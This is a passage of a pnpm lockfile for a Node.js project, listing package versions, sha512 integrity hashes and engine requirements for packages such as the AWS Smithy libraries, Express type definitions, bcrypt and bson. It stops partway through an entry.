| 225 | '@cspotcode/source-map-support@0.8.1': 226 | resolution: {integrity: sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==} 227 | engines: {node: '>=12'} 228 | 229 | '@hapi/hoek@9.3.0': 230 | resolution: {integrity: sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==} 231 | 232 | '@hapi/topo@5.1.0': 233 | resolution: {integrity: sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==} 234 | 235 | '@jridgewell/resolve-uri@3.1.1': 236 | resolution: {integrity: sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==} 237 | engines: {node: '>=6.0.0'} 238 | 239 | '@jridgewell/sourcemap-codec@1.4.15': 240 | resolution: {integrity: sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==} 241 | 242 | '@jridgewell/trace-mapping@0.3.9': 243 | resolution: {integrity: sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==} 244 | 245 | '@jsdevtools/ono@7.1.3': 246 | resolution: {integrity: sha512-4JQNk+3mVzK3xh2rqd6RB4J46qUR19azEHBneZyTZM+c456qOrbbM/5xcR8huNCCcbVt7+UmizG6GuUvPvKUYg==} 247 | 248 | '@mapbox/node-pre-gyp@1.0.11': 249 | resolution: {integrity: sha512-Yhlar6v9WQgUp/He7BdgzOz8lqMQ8sU+jkCq7Wx8Myc5YFJLbEe7lgui/V7G1qB1DJykHSGwreceSaD60Y0PUQ==} 250 | hasBin: true 251 | 252 | '@mongodb-js/saslprep@1.1.1': 253 | resolution: {integrity: sha512-t7c5K033joZZMspnHg/gWPE4kandgc2OxE74aYOtGKfgB9VPuVJPix0H6fhmm2erj5PBJ21mqcx34lpIGtUCsQ==} 254 | 255 | '@sideway/address@4.1.4': 256 | resolution: {integrity: sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==} 257 | 258 | '@sideway/formula@3.0.1': 259 | resolution: {integrity: sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==} 260 | 261 | '@sideway/pinpoint@2.0.0': 262 | resolution: {integrity: sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==} 263 | 264 | '@smithy/abort-controller@2.0.12': 265 | resolution: {integrity: sha512-YIJyefe1mi3GxKdZxEBEuzYOeQ9xpYfqnFmWzojCssRAuR7ycxwpoRQgp965vuW426xUAQhCV5rCaWElQ7XsaA==} 266 | engines: {node: '>=14.0.0'} 267 | 268 | '@smithy/config-resolver@2.0.16': 269 | resolution: {integrity: sha512-1k+FWHQDt2pfpXhJsOmNMmlAZ3NUQ98X5tYsjQhVGq+0X6cOBMhfh6Igd0IX3Ut6lEO6DQAdPMI/blNr3JZfMQ==} 270 | engines: {node: '>=14.0.0'} 271 | 272 | '@smithy/credential-provider-imds@2.0.18': 273 | resolution: {integrity: sha512-QnPBi6D2zj6AHJdUTo5zXmk8vwHJ2bNevhcVned1y+TZz/OI5cizz5DsYNkqFUIDn8tBuEyKNgbmKVNhBbuY3g==} 274 | engines: {node: '>=14.0.0'} 275 | 276 | '@smithy/eventstream-codec@2.0.12': 277 | resolution: {integrity: sha512-ZZQLzHBJkbiAAdj2C5K+lBlYp/XJ+eH2uy+jgJgYIFW/o5AM59Hlj7zyI44/ZTDIQWmBxb3EFv/c5t44V8/g8A==} 278 | 279 | '@smithy/fetch-http-handler@2.2.4': 280 | resolution: {integrity: sha512-gIPRFEGi+c6V52eauGKrjDzPWF2Cu7Z1r5F8A3j2wcwz25sPG/t8kjsbEhli/tS/2zJp/ybCZXe4j4ro3yv/HA==} 281 | 282 | '@smithy/hash-node@2.0.12': 283 | resolution: {integrity: sha512-fDZnTr5j9t5qcbeJ037aMZXxMka13Znqwrgy3PAqYj6Dm3XHXHftTH3q+NWgayUxl1992GFtQt1RuEzRMy3NnQ==} 284 | engines: {node: '>=14.0.0'} 285 | 286 | '@smithy/invalid-dependency@2.0.12': 287 | resolution: {integrity: sha512-p5Y+iMHV3SoEpy3VSR7mifbreHQwVSvHSAz/m4GdoXfOzKzaYC8hYv10Ks7Deblkf7lhas8U+lAp9ThbBM+ZXA==} 288 | 289 | '@smithy/is-array-buffer@2.0.0': 290 | resolution: {integrity: sha512-z3PjFjMyZNI98JFRJi/U0nGoLWMSJlDjAW4QUX2WNZLas5C0CmVV6LJ01JI0k90l7FvpmixjWxPFmENSClQ7ug==} 291 | engines: {node: '>=14.0.0'} 292 | 293 | '@smithy/middleware-content-length@2.0.14': 294 | resolution: {integrity: sha512-poUNgKTw9XwPXfX9nEHpVgrMNVpaSMZbshqvPxFVoalF4wp6kRzYKOfdesSVectlQ51VtigoLfbXcdyPwvxgTg==} 295 | engines: {node: '>=14.0.0'} 296 | 297 | '@smithy/middleware-endpoint@2.1.3': 298 | resolution: {integrity: sha512-ZrQ0/YX6hNVTxqMEHtEaDbDv6pNeEji/a5Vk3HuFC5R3ZY8lfoATyxmOGxBVYnF3NUvZLNC7umEv1WzWGWvCGQ==} 299 | engines: {node: '>=14.0.0'} 300 | 301 | '@smithy/middleware-retry@2.0.18': 302 | resolution: {integrity: sha512-VyrHQRldGSb3v9oFOB5yPxmLT7U2sQic2ytylOnYlnsmVOLlFIaI6sW22c+w2675yq+XZ6HOuzV7x2OBYCWRNA==} 303 | engines: {node: '>=14.0.0'} 304 | 305 | '@smithy/middleware-serde@2.0.12': 306 | resolution: {integrity: sha512-IBeco157lIScecq2Z+n0gq56i4MTnfKxS7rbfrAORveDJgnbBAaEQgYqMqp/cYqKrpvEXcyTjwKHrBjCCIZh2A==} 307 | engines: {node: '>=14.0.0'} 308 | 309 | '@smithy/middleware-stack@2.0.6': 310 | resolution: {integrity: sha512-YSvNZeOKWLJ0M/ycxwDIe2Ztkp6Qixmcml1ggsSv2fdHKGkBPhGrX5tMzPGMI1yyx55UEYBi2OB4s+RriXX48A==} 311 | engines: {node: '>=14.0.0'} 312 | 313 | '@smithy/node-config-provider@2.1.3': 314 | resolution: {integrity: sha512-J6lXvRHGVnSX3n1PYi+e1L5HN73DkkJpUviV3Ebf+8wSaIjAf+eVNbzyvh/S5EQz7nf4KVfwbD5vdoZMAthAEQ==} 315 | engines: {node: '>=14.0.0'} 316 | 317 | '@smithy/node-http-handler@2.1.8': 318 | resolution: {integrity: sha512-KZylM7Wff/So5SmCiwg2kQNXJ+RXgz34wkxS7WNwIUXuZrZZpY/jKJCK+ZaGyuESDu3TxcaY+zeYGJmnFKbQsA==} 319 | engines: {node: '>=14.0.0'} 320 | 321 | '@smithy/property-provider@2.0.13': 322 | resolution: {integrity: sha512-VJqUf2CbsQX6uUiC5dUPuoEATuFjkbkW3lJHbRnpk9EDC9X+iKqhfTK+WP+lve5EQ9TcCI1Q6R7hrg41FyC54w==} 323 | engines: {node: '>=14.0.0'} 324 | 325 | '@smithy/protocol-http@3.0.8': 326 | resolution: {integrity: sha512-SHJvYeWq8q0FK8xHk+xjV9dzDUDjFMT+G1pZbV+XB6OVoac/FSVshlMNPeUJ8AmSkcDKHRu5vASnRqZHgD3qhw==} 327 | engines: {node: '>=14.0.0'} 328 | 329 | '@smithy/querystring-builder@2.0.12': 330 | resolution: {integrity: sha512-cDbF07IuCjiN8CdGvPzfJjXIrmDSelScRfyJYrYBNBbKl2+k7QD/KqiHhtRyEKgID5mmEVrV6KE6L/iPJ98sFw==} 331 | engines: {node: '>=14.0.0'} 332 | 333 | '@smithy/querystring-parser@2.0.12': 334 | resolution: {integrity: sha512-fytyTcXaMzPBuNtPlhj5v6dbl4bJAnwKZFyyItAGt4Tgm9HFPZNo7a9r1SKPr/qdxUEBzvL9Rh+B9SkTX3kFxg==} 335 | engines: {node: '>=14.0.0'} 336 | 337 | '@smithy/service-error-classification@2.0.5': 338 | resolution: {integrity: sha512-M0SeJnEgD2ywJyV99Fb1yKFzmxDe9JfpJiYTVSRMyRLc467BPU0qsuuDPzMCdB1mU8M8u1rVOdkqdoyFN8UFTw==} 339 | engines: {node: '>=14.0.0'} 340 | 341 | '@smithy/shared-ini-file-loader@2.2.2': 342 | resolution: {integrity: sha512-noyQUPn7b1M8uB0GEXc/Zyxq+5K2b7aaqWnLp+hgJ7+xu/FCvtyWy5eWLDjQEsHnAet2IZhS5QF8872OR69uNg==} 343 | engines: {node: '>=14.0.0'} 344 | 345 | '@smithy/signature-v4@2.0.12': 346 | resolution: {integrity: sha512-6Kc2lCZEVmb1nNYngyNbWpq0d82OZwITH11SW/Q0U6PX5fH7B2cIcFe7o6eGEFPkTZTP8itTzmYiGcECL0D0Lw==} 347 | engines: {node: '>=14.0.0'} 348 | 349 | '@smithy/smithy-client@2.1.12': 350 | resolution: {integrity: sha512-XXqhridfkKnpj+lt8vM6HRlZbqUAqBjVC74JIi13F/AYQd/zTj9SOyGfxnbp4mjY9q28LityxIuV8CTinr9r5w==} 351 | engines: {node: '>=14.0.0'} 352 | 353 | '@smithy/types@2.4.0': 354 | resolution: {integrity: sha512-iH1Xz68FWlmBJ9vvYeHifVMWJf82ONx+OybPW8ZGf5wnEv2S0UXcU4zwlwJkRXuLKpcSLHrraHbn2ucdVXLb4g==} 355 | engines: {node: '>=14.0.0'} 356 | 357 | '@smithy/url-parser@2.0.12': 358 | resolution: {integrity: sha512-qgkW2mZqRvlNUcBkxYB/gYacRaAdck77Dk3/g2iw0S9F0EYthIS3loGfly8AwoWpIvHKhkTsCXXQfzksgZ4zIA==} 359 | 360 | '@smithy/util-base64@2.0.0': 361 | resolution: {integrity: sha512-Zb1E4xx+m5Lud8bbeYi5FkcMJMnn+1WUnJF3qD7rAdXpaL7UjkFQLdmW5fHadoKbdHpwH9vSR8EyTJFHJs++tA==} 362 | engines: {node: '>=14.0.0'} 363 | 364 | '@smithy/util-body-length-browser@2.0.0': 365 | resolution: {integrity: sha512-JdDuS4ircJt+FDnaQj88TzZY3+njZ6O+D3uakS32f2VNnDo3vyEuNdBOh/oFd8Df1zSZOuH1HEChk2AOYDezZg==} 366 | 367 | '@smithy/util-body-length-node@2.1.0': 368 | resolution: {integrity: sha512-/li0/kj/y3fQ3vyzn36NTLGmUwAICb7Jbe/CsWCktW363gh1MOcpEcSO3mJ344Gv2dqz8YJCLQpb6hju/0qOWw==} 369 | engines: {node: '>=14.0.0'} 370 | 371 | '@smithy/util-buffer-from@2.0.0': 372 | resolution: {integrity: sha512-/YNnLoHsR+4W4Vf2wL5lGv0ksg8Bmk3GEGxn2vEQt52AQaPSCuaO5PM5VM7lP1K9qHRKHwrPGktqVoAHKWHxzw==} 373 | engines: {node: '>=14.0.0'} 374 | 375 | '@smithy/util-config-provider@2.0.0': 376 | resolution: {integrity: sha512-xCQ6UapcIWKxXHEU4Mcs2s7LcFQRiU3XEluM2WcCjjBtQkUN71Tb+ydGmJFPxMUrW/GWMgQEEGipLym4XG0jZg==} 377 | engines: {node: '>=14.0.0'} 378 | 379 | '@smithy/util-defaults-mode-browser@2.0.16': 380 | resolution: {integrity: sha512-Uv5Cu8nVkuvLn0puX+R9zWbSNpLIR3AxUlPoLJ7hC5lvir8B2WVqVEkJLwtixKAncVLasnTVjPDCidtAUTGEQw==} 381 | engines: {node: '>= 10.0.0'} 382 | 383 | '@smithy/util-defaults-mode-node@2.0.21': 384 | resolution: {integrity: sha512-cUEsttVZ79B7Al2rWK2FW03HBpD9LyuqFtm+1qFty5u9sHSdesr215gS2Ln53fTopNiPgeXpdoM3IgjvIO0rJw==} 385 | engines: {node: '>= 10.0.0'} 386 | 387 | '@smithy/util-endpoints@1.0.2': 388 | resolution: {integrity: sha512-QEdq+sP68IJHAMVB2ugKVVZEWeKQtZLuf+akHzc8eTVElsZ2ZdVLWC6Cp+uKjJ/t4yOj1qu6ZzyxJQEQ8jdEjg==} 389 | engines: {node: '>= 14.0.0'} 390 | 391 | '@smithy/util-hex-encoding@2.0.0': 392 | resolution: {integrity: sha512-c5xY+NUnFqG6d7HFh1IFfrm3mGl29lC+vF+geHv4ToiuJCBmIfzx6IeHLg+OgRdPFKDXIw6pvi+p3CsscaMcMA==} 393 | engines: {node: '>=14.0.0'} 394 | 395 | '@smithy/util-middleware@2.0.5': 396 | resolution: {integrity: sha512-1lyT3TcaMJQe+OFfVI+TlomDkPuVzb27NZYdYtmSTltVmLaUjdCyt4KE+OH1CnhZKsz4/cdCL420Lg9UH5Z2Mw==} 397 | engines: {node: '>=14.0.0'} 398 | 399 | '@smithy/util-retry@2.0.5': 400 | resolution: {integrity: sha512-x3t1+MQAJ6QONk3GTbJNcugCFDVJ+Bkro5YqQQK1EyVesajNDqxFtCx9WdOFNGm/Cbm7tUdwVEmfKQOJoU2Vtw==} 401 | engines: {node: '>= 14.0.0'} 402 | 403 | '@smithy/util-stream@2.0.17': 404 | resolution: {integrity: sha512-fP/ZQ27rRvHsqItds8yB7jerwMpZFTL3QqbQbidUiG0+mttMoKdP0ZqnvM8UK5q0/dfc3/pN7g4XKPXOU7oRWw==} 405 | engines: {node: '>=14.0.0'} 406 | 407 | '@smithy/util-uri-escape@2.0.0': 408 | resolution: {integrity: sha512-ebkxsqinSdEooQduuk9CbKcI+wheijxEb3utGXkCoYQkJnwTnLbH1JXGimJtUkQwNQbsbuYwG2+aFVyZf5TLaw==} 409 | engines: {node: '>=14.0.0'} 410 | 411 | '@smithy/util-utf8@2.0.0': 412 | resolution: {integrity: sha512-rctU1VkziY84n5OXe3bPNpKR001ZCME2JCaBBFgtiM2hfKbHFudc/BkMuPab8hRbLd0j3vbnBTTZ1igBf0wgiQ==} 413 | engines: {node: '>=14.0.0'} 414 | 415 | '@tsconfig/node10@1.0.9': 416 | resolution: {integrity: sha512-jNsYVVxU8v5g43Erja32laIDHXeoNvFEpX33OK4d6hljo3jDhCBDhx5dhCCTMWUojscpAagGiRkBKxpdl9fxqA==} 417 | 418 | '@tsconfig/node12@1.0.11': 419 | resolution: {integrity: sha512-cqefuRsh12pWyGsIoBKJA9luFu3mRxCA+ORZvA4ktLSzIuCUtWVxGIuXigEwO5/ywWFMZ2QEGKWvkZG1zDMTag==} 420 | 421 | '@tsconfig/node14@1.0.3': 422 | resolution: {integrity: sha512-ysT8mhdixWK6Hw3i1V2AeRqZ5WfXg1G43mqoYlM2nc6388Fq5jcXyr5mRsqViLx/GJYdoL0bfXD8nmF+Zn/Iow==} 423 | 424 | '@tsconfig/node16@1.0.4': 425 | resolution: {integrity: sha512-vxhUy4J8lyeyinH7Azl1pdd43GJhZH/tP2weN8TntQblOY+A0XbT8DJk1/oCPuOOyg/Ja757rG0CgHcWC8OfMA==} 426 | 427 | '@types/bcrypt@5.0.2': 428 | resolution: {integrity: sha512-6atioO8Y75fNcbmj0G7UjI9lXN2pQ/IGJ2FWT4a/btd0Lk9lQalHLKhkgKVZ3r+spnmWUKfbMi1GEe9wyHQfNQ==} 429 | 430 | '@types/body-parser@1.19.5': 431 | resolution: {integrity: sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==} 432 | 433 | '@types/connect@3.4.38': 434 | resolution: {integrity: sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==} 435 | 436 | '@types/cors@2.8.16': 437 | resolution: {integrity: sha512-Trx5or1Nyg1Fq138PCuWqoApzvoSLWzZ25ORBiHMbbUT42g578lH1GT4TwYDbiUOLFuDsCkfLneT2105fsFWGg==} 438 | 439 | '@types/express-serve-static-core@4.17.41': 440 | resolution: {integrity: sha512-OaJ7XLaelTgrvlZD8/aa0vvvxZdUmlCn6MtWeB7TkiKW70BQLc9XEPpDLPdbo52ZhXUCrznlWdCHWxJWtdyajA==} 441 | 442 | '@types/express-session@1.17.10': 443 | resolution: {integrity: sha512-U32bC/s0ejXijw5MAzyaV4tuZopCh/K7fPoUDyNbsRXHvPSeymygYD1RFL99YOLhF5PNOkzswvOTRaVHdL1zMw==} 444 | 445 | '@types/express@4.17.21': 446 | resolution: {integrity: sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==} 447 | 448 | '@types/http-errors@2.0.4': 449 | resolution: {integrity: sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==} 450 | 451 | '@types/json-schema@7.0.15': 452 | resolution: {integrity: sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==} 453 | 454 | '@types/jsonwebtoken@9.0.5': 455 | resolution: {integrity: sha512-VRLSGzik+Unrup6BsouBeHsf4d1hOEgYWTm/7Nmw1sXoN1+tRly/Gy/po3yeahnP4jfnQWWAhQAqcNfH7ngOkA==} 456 | 457 | '@types/mime@1.3.5': 458 | resolution: {integrity: sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==} 459 | 460 | '@types/mime@3.0.4': 461 | resolution: {integrity: sha512-iJt33IQnVRkqeqC7PzBHPTC6fDlRNRW8vjrgqtScAhrmMwe8c4Eo7+fUGTa+XdWrpEgpyKWMYmi2dIwMAYRzPw==} 462 | 463 | '@types/node@18.18.9': 464 | resolution: {integrity: sha512-0f5klcuImLnG4Qreu9hPj/rEfFq6YRc5n2mAjSsH+ec/mJL+3voBH0+8T7o8RpFjH7ovc+TRsL/c7OYIQsPTfQ==} 465 | 466 | '@types/qs@6.9.10': 467 | resolution: {integrity: sha512-3Gnx08Ns1sEoCrWssEgTSJs/rsT2vhGP+Ja9cnnk9k4ALxinORlQneLXFeFKOTJMOeZUFD1s7w+w2AphTpvzZw==} 468 | 469 | '@types/range-parser@1.2.7': 470 | resolution: {integrity: sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==} 471 | 472 | '@types/send@0.17.4': 473 | resolution: {integrity: sha512-x2EM6TJOybec7c52BX0ZspPodMsQUd5L6PRwOunVyVUhXiBSKf3AezDL8Dgvgt5o0UfKNfuA0eMLr2wLT4AiBA==} 474 | 475 | '@types/serve-static@1.15.5': 476 | resolution: {integrity: sha512-PDRk21MnK70hja/YF8AHfC7yIsiQHn1rcXx7ijCFBX/k+XQJhQT/gw3xekXKJvx+5SXaMMS8oqQy09Mzvz2TuQ==} 477 | 478 | '@types/webidl-conversions@7.0.3': 479 | resolution: {integrity: sha512-CiJJvcRtIgzadHCYXw7dqEnMNRjhGZlYK05Mj9OyktqV8uVT8fD2BFOB7S1uwBE3Kj2Z+4UyPmFw/Ixgw/LAlA==} 480 | 481 | '@types/whatwg-url@8.2.2': 482 | resolution: {integrity: sha512-FtQu10RWgn3D9U4aazdwIE2yzphmTJREDqNdODHrbrZmmMqI0vMheC/6NE/J1Yveaj8H+ela+YwWTjq5PGmuhA==} 483 | 484 | abbrev@1.1.1: 485 | resolution: {integrity: sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==} 486 | 487 | accepts@1.3.8: 488 | resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} 489 | engines: {node: '>= 0.6'} 490 | 491 | acorn-walk@8.3.0: 492 | resolution: {integrity: sha512-FS7hV565M5l1R08MXqo8odwMTB02C2UqzB17RVgu9EyuYFBqJZ3/ZY97sQD5FewVu1UyDFc1yztUDrAwT0EypA==} 493 | engines: {node: '>=0.4.0'} 494 | 495 | acorn@8.11.2: 496 | resolution: {integrity: sha512-nc0Axzp/0FILLEVsm4fNwLCwMttvhEI263QtVPQcbpfZZ3ts0hLsZGOpE6czNlid7CJ9MlyH8reXkpsf3YUY4w==} 497 | engines: {node: '>=0.4.0'} 498 | hasBin: true 499 | 500 | agent-base@6.0.2: 501 | resolution: {integrity: sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==} 502 | engines: {node: '>= 6.0.0'} 503 | 504 | ansi-regex@5.0.1: 505 | resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} 506 | engines: {node: '>=8'} 507 | 508 | anymatch@3.1.3: 509 | resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} 510 | engines: {node: '>= 8'} 511 | 512 | aproba@2.0.0: 513 | resolution: {integrity: sha512-lYe4Gx7QT+MKGbDsA+Z+he/Wtef0BiwDOlK/XkBrdfsh9J/jPPXbX0tE9x9cl27Tmu5gg3QUbUrQYa/y+KOHPQ==} 514 | 515 | are-we-there-yet@2.0.0: 516 | resolution: {integrity: sha512-Ci/qENmwHnsYo9xKIcUJN5LeDKdJ6R1Z1j9V/J5wyq8nh/mYPEpIKJbBZXtZjG04HiK7zV/p6Vs9952MrMeUIw==} 517 | engines: {node: '>=10'} 518 | 519 | arg@4.1.3: 520 | resolution: {integrity: sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==} 521 | 522 | argparse@2.0.1: 523 | resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} 524 | 525 | array-flatten@1.1.1: 526 | resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} 527 | 528 | balanced-match@1.0.2: 529 | resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} 530 | 531 | base64-js@1.5.1: 532 | resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} 533 | 534 | bcrypt@5.1.1: 535 | resolution: {integrity: sha512-AGBHOG5hPYZ5Xl9KXzU5iKq9516yEmvCKDg3ecP5kX2aB6UqTeXZxk2ELnDgDm6BQSMlLt9rDB4LoSMx0rYwww==} 536 | engines: {node: '>= 10.0.0'} 537 | 538 | binary-extensions@2.2.0: 539 | resolution: {integrity: sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==} 540 | engines: {node: '>=8'} 541 | 542 | body-parser@1.20.1: 543 | resolution: {integrity: sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==} 544 | engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} 545 | 546 | body-parser@1.20.2: 547 | resolution: {integrity: sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6R7ajOPw0g/J1PvK4qNy7s5bA==} 548 | engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} 549 | 550 | bowser@2.11.0: 551 | resolution: {integrity: sha512-AlcaJBi/pqqJBIQ8U9Mcpc9i8Aqxn88Skv5d+xBX006BY5u8N3mGLHa5Lgppa7L/HfwgwLgZ6NYs+Ag6uUmJRA==} 552 | 553 | brace-expansion@1.1.11: 554 | resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} 555 | 556 | braces@3.0.2: 557 | resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==} 558 | engines: {node: '>=8'} 559 | 560 | bson@4.7.2: 561 | resolution: {integrity: sha512-Ry9wCtIZ5kGqkJoi6aD8KjxFZEx78guTQDnpXWiNthsxzrxAK/i8E6pCHAIZTbaEFWcOCvbecMukfK7XUvyLpQ==} 562 | engines: {node: '>=6.9.0'} 563 | 564 | buffer-equal-constant-time@1.0.1: 565 | resolution: {integrity: sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==} 566 | 567 | buffer@5.7.1: 568 | resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} 569 | 570 | bytes@3.1.2: 571 | resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} 572 | engines: {node: '>= 0.8'} 573 | 574 | call-bind@1.0.5: 575 | resolution: {integrity: sha512-C3nQxfFZxFRVoJoGKKI8y3MOEo129NQ+FgQ08iye+Mk4zNZZGdjfs06bVTr+DBSlA66Q2VEcMki/cUCP4SercQ==} 576 | 577 | call-me-maybe@1.0.2: 578 | resolution: {integrity: sha512-HpX65o1Hnr9HH25ojC1YGs7HCQLq0GCOibSaWER0eNpgJ/Z1MZv2mTc7+xh6WOPxbRVcmgbv4hGU+uSQ/2xFZQ==} 579 | 580 | chokidar@3.5.3: 581 | resolution: {integrity: sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==} 582 | engines: {node: '>= 8.10.0'} 583 | 584 | chownr@2.0.0: 585 | resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} 586 | engines: {node: '>=10'} 587 | 588 | color-support@1.1.3: 589 | resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} 590 | hasBin: true 591 | 592 | commander@6.2.0: 593 | resolution: {integrity: sha512-zP4jEKbe8SHzKJYQmq8Y9gYjtO/POJLgIdKgV7B9qNmABVFVc+ctqSX6iXh4mCpJfRBOabiZ2YKPg8ciDw6C+Q==} 594 | engines: {node: '>= 6'} 595 | 596 | commander@9.5.0: 597 | resolution: {integrity: sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==} 598 | engines: {node: ^12.20.0 || >=14} 599 | 600 | concat-map@0.0.1: 601 | resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} 602 | 603 | console-control-strings@1.1.0: 604 | resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} 605 | 606 | content-disposition@0.5.4: 607 | resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} 608 | engines: {node: '>= 0.6'} 609 | 610 | content-type@1.0.5: 611 | resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} 612 | engines: {node: '>= 0.6'} 613 | 614 | cookie-signature@1.0.6: 615 | resolution: {integrity: 